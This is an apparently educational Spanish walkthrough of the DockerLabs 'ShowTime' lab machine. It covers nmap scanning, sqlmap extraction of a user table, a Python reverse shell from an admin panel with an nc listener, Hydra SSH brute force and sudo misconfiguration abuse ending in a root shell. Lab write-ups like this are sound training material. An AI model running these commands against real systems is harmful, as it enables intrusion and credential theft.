> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/showtime.md).

# ShowTime

### **Despliegue de la Máquina:**

#### **1. Descarga:**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **ShowTime** y pulsamos el botón de descarga.

Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que incluye tanto la imagen de la máquina como el script necesario para su ejecución.

#### **2. Descompresión:**

Utilizamos la herramienta `7z` para extraer el contenido del archivo comprimido `showtime.zip`:

```bash
7z x showtime.zip
```

<figure><img src="/files/fSW1d45H4uI4kHqOlpRT" alt=""><figcaption></figcaption></figure>

#### **3. Ejecución:**

Ejecutamos el script `auto_deploy.sh` para levantar la máquina en Docker, pasando como argumento el archivo `showtime.tar`:

```bash
bash auto_deploy.sh showtime.tar
```

<figure><img src="/files/mpfExVq0qw75uOODV8Yv" alt=""><figcaption></figcaption></figure>

***

### **Reconocimiento:**

#### **1. Verificación de Conectividad:**

Realizamos un `ping` a la dirección IP de la máquina (`172.17.0.2`) para confirmar que está activa:

```bash
ping -c 1 172.17.0.2
```

<figure><img src="/files/WbPYnoOf2UgQLSFG6Jyc" alt=""><figcaption></figcaption></figure>

#### **2. Escaneo de Puertos:**

Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Explicación de los parámetros:**

* `-p-`: Escanea todos los puertos TCP, del 1 al 65535.
* `--open`: Muestra solo los puertos que están abiertos, omitiendo los cerrados o filtrados.
* `-sS`: Realiza un escaneo SYN (stealth scan) que no completa la conexión TCP.
* `--min-rate 5000`: Fuerza una velocidad mínima de 5000 paquetes por segundo, acelerando el escaneo.
* `-vvv`: Activa el nivel máximo de verbosidad, mostrando información detallada del proceso.
* `-n`: Evita la resolución DNS, usando solo direcciones IP.
* `-Pn`: Omite la detección de host activo, asumiendo que el host está disponible.
* `-oG allPorts`: Guarda los resultados del escaneo en formato Grepable en el archivo `allPorts`.

**Puertos abiertos identificados:**

* **Puerto 22:** `SSH`.
* **Puerto 80:** `HTTP`.

<figure><img src="/files/MW1J6kMuLflccuKrxh53" alt=""><figcaption></figcaption></figure>

#### **3. Escaneo Detallado:**

Realizamos un escaneo más exhaustivo para obtener información adicional sobre los puertos abiertos:

```bash
nmap -p22,80 -sCV 172.17.0.2 -oN targeted
```

**Explicación de los parámetros:**

* `-p22,80`: Especifica los puertos a escanear.
* `-sCV`: Combina el escaneo de versiones (`-sV`) con la ejecución de scripts básicos de reconocimiento (`-sC`).
* `-oN targeted`: Guarda los resultados del escaneo en formato normal, en el archivo `targeted`.

**Resultados del escaneo:**

* **Puerto 22:** `OpenSSH 9.6p1`.
* **Puerto 80:** `Apache httpd 2.4.58`.

<figure><img src="/files/mSVnOizNhqGbHnRKtR7F" alt=""><figcaption></figcaption></figure>

#### **4. Análisis del Servicio Web:**

Accedemos al servicio web a través del navegador usando la URL `http://172.17.0.2/`.

Encontramos una página web de un casino con un botón de inicio de sesión en la esquina superior derecha.

<figure><img src="/files/Abswi5K7oO9l184eexDn" alt=""><figcaption></figcaption></figure>

Al hacer clic en el botón de inicio de sesión, accedemos al panel de autenticación en la ruta `http://172.17.0.2/login_page/index.php`.

Como no tenemos credenciales válidas, procedemos a probar si el panel es vulnerable a inyección SQL (SQLi).

<figure><img src="/files/AQKgHLwtwqw2xqqeCcaI" alt=""><figcaption></figcaption></figure>

***

### **Explotación:**

#### **1. Inyección SQL (SQLi):**

Utilizamos `sqlmap` para automatizar la explotación de posibles vulnerabilidades SQLi en el panel de inicio de sesión:

```bash
sqlmap -u http://172.17.0.2/login_page/ --dbs --batch --forms
```

**Explicación de los parámetros:**

* `-u`: URL objetivo.
* `--dbs`: Enumera las bases de datos disponibles.
* `--batch`: Ejecuta en modo automático sin interacción.
* `--forms`: Analiza y prueba formularios HTML.

**Bases de datos encontradas:**

* `information_schema`.
* `mysql`.
* `performance_schema`.
* `sys`.
* `users`.

<figure><img src="/files/eFZwHmddzFIrFkEfLL8F" alt=""><figcaption></figcaption></figure>

#### **2. Extracción de Credenciales:**

Nos enfocamos en la base de datos `users` y extraemos las tablas que contiene:

```bash
sqlmap -u http://172.17.0.2/login_page/ --batch --forms -D users --tables
```

**Explicación de parámetros:**

* `-D users`: Especifica la base de datos.
* `--tables`: Enumera las tablas.

**Tabla encontrada:** `usuarios`.

<figure><img src="/files/GzNBtTX3rczqKQRpa9Ax" alt=""><figcaption></figcaption></figure>

Extraemos los datos de la tabla `usuarios`:

```bash
sqlmap -u http://172.17.0.2/login_page/ --batch --forms -D users -T usuarios --dump
```

**Explicación de parámetros:**

* `-T usuarios`: Especifica la tabla.
* `--dump`: Extrae los datos.

**Datos obtenidos:**

| **id** |     **password**     | **username** |
| :----: | :------------------: | :----------: |
|    1   |     123321123321     |     lucas    |
|    2   |     123456123456     |   santiago   |
|    3   | MiClaveEsInhackeable |      joe     |

<figure><img src="/files/I4l7ueN7XwoGKeS8eJEF" alt=""><figcaption></figcaption></figure>

#### **3. Acceso al Panel de Administración:**

Probamos las credenciales en el panel de inicio de sesión (`http://172.17.0.2/login_page/index.php`).

La combinación `joe:MiClaveEsInhackeable` nos permite acceder a un panel de administración con capacidad para ejecutar comandos en Python.

<figure><img src="/files/fcBsEByzeVYs0MGIVBos" alt=""><figcaption></figcaption></figure>

#### **4. Reverse Shell:**

Desde el panel de administración, ejecutamos una reverse shell en Python para obtener acceso al sistema, utilizando el código proporcionado con [RevShells](https://www.revshells.com/).

<figure><img src="/files/NSuoQMrPHixmFeZVvox3" alt=""><figcaption></figcaption></figure>

Nos ponemos en escucha en nuestro equipo:

```bash
nc -lvnp 1234
```

<figure><img src="/files/aDAtsxaB8TYcIq1B9byN" alt=""><figcaption></figcaption></figure>

Desde el panel de administración, pulsamos el botón "Ejecutar Comando" para iniciar la reverse shell.

Como resultado, la página web permanece cargando, lo que indica que el comando se está ejecutando.

<figure><img src="/files/C4JeFm0AcjL1GHKA9mji" alt=""><figcaption></figcaption></figure>

En nuestra consola, recibimos la shell con el usuario `www-data`.

<figure><img src="/files/RNn8V3YqQaFeYT1UjNg3" alt=""><figcaption></figcaption></figure>

***

### **Escalada de Privilegios:**

#### **1. Enumeración de Contraseñas:**

Investigamos el sistema y encontramos un archivo oculto en `/tmp` llamado `.hidden_text.txt`.

<figure><img src="/files/DWGCRetCCaliBNpwR3Aq" alt=""><figcaption></figcaption></figure>

Si listamos el contenido del archivo con el siguiente comando:

```bash
cat .hidden_text.txt
```

Observamos que contiene posibles contraseñas.

<figure><img src="/files/dsxlsmGEBRHyTBLhXft9" alt=""><figcaption></figcaption></figure>

Vamos a copiar esas contraseñas y pegarlas en un archivo local en nuestro equipo.

<figure><img src="/files/Tc23kEmP7UomMxG6o718" alt=""><figcaption></figcaption></figure>

Ahora convertimos todas las contraseñas de mayúsculas a minúsculas utilizando el siguiente comando:

```bash
cat contraseñas_1.txt | tr 'A-Z' 'a-z' > contraseñas.txt
```

<figure><img src="/files/buLsOPcVXM4ZbQmLgK4a" alt=""><figcaption></figcaption></figure>

Para comprobar que las contraseñas se han convertido correctamente a minúsculas, visualizamos el contenido del archivo `contraseñas.txt` con el siguiente comando:

```bash
cat contraseñas.txt
```

Al ejecutarlo, confirmamos que todas las contraseñas están en minúsculas, tal como se esperaba.

<figure><img src="/files/E0fkJXX1q6RrssIFArtQ" alt=""><figcaption></figcaption></figure>

#### **2. Fuerza Bruta con Hydra:**

Realizamos un ataque de fuerza bruta utilizando los usuarios que identificamos previamente en la tabla `usuarios` (`lucas`, `santiago`, `joe`).

Para ello, empleamos la herramienta `hydra` con el siguiente comando:

```bash
hydra -l joe -P contraseñas.txt ssh://172.17.0.2
```

Como resultado, descubrimos que la contraseña correcta para el usuario `joe` es `chittychittybangbang`.

<figure><img src="/files/f1vhTgY0DAdk75b6z2gk" alt=""><figcaption></figcaption></figure>

Accedemos a la máquina mediante SSH utilizando el usuario `joe` con el siguiente comando:

```bash
ssh joe@172.17.0.2
```

Como podemos comprobar en la siguiente captura de pantalla, hemos iniciado sesión correctamente en la máquina como el usuario `joe`.

<figure><img src="/files/FJQJ5dDGESh6f7KXXX3a" alt=""><figcaption></figcaption></figure>

#### **3. Escalada a Luciano:**

Ejecutamos `sudo -l` para ver los privilegios del usuario `joe`.

**Resultado:**

Observamos que `joe` tiene permisos para ejecutar `/bin/posh` como el usuario `luciano` sin necesidad de contraseña:

```bash
(luciano) NOPASSWD: /bin/posh
```

<figure><img src="/files/VNIEUIq6wpe7dDVf7mzl" alt=""><figcaption></figcaption></figure>

Accedemos a [GTFOBins](https://gtfobins.github.io/gtfobins/posh/) para consultar posibles vectores de escalada de privilegios utilizando `/bin/posh`.

Según la información, podemos ejecutar el siguiente comando para acceder al sistema como el usuario `luciano`:

```bash
sudo -u luciano /bin/posh
```

<figure><img src="/files/PNnMPv1Qli2YKyFeCLl8" alt=""><figcaption></figcaption></figure>

#### **4. Escalada a Root:**

Una vez dentro del sistema como el usuario `luciano`, volvemos a ejecutar el comando `sudo -l` para revisar sus privilegios.

**Resultado:**

Observamos que `luciano` tiene permisos para ejecutar el siguiente script como `root`, sin necesidad de contraseña:

```bash
(root) NOPASSWD: /bin/bash /home/luciano/script.sh
```

<figure><img src="/files/476seUc7SyxWLvZ2hY0K" alt=""><figcaption></figcaption></figure>

Modificamos el script `script.sh` para obtener una shell como `root`:

```bash
echo "/bin/bash -p" > script.sh
```

<figure><img src="/files/cqqpBfZEx7evcRNstZEg" alt=""><figcaption></figcaption></figure>

Ejecutamos el script con privilegios de `root` utilizando el siguiente comando:

```bash
sudo -u root /bin/bash /home/luciano/script.sh
```

Al hacerlo, obtenemos acceso como el usuario `root`, lo que confirma que hemos completado exitosamente la escalada de privilegios.

<figure><img src="/files/gif3sZKg2P2i1DDLP2En" alt=""><figcaption></figcaption></figure>
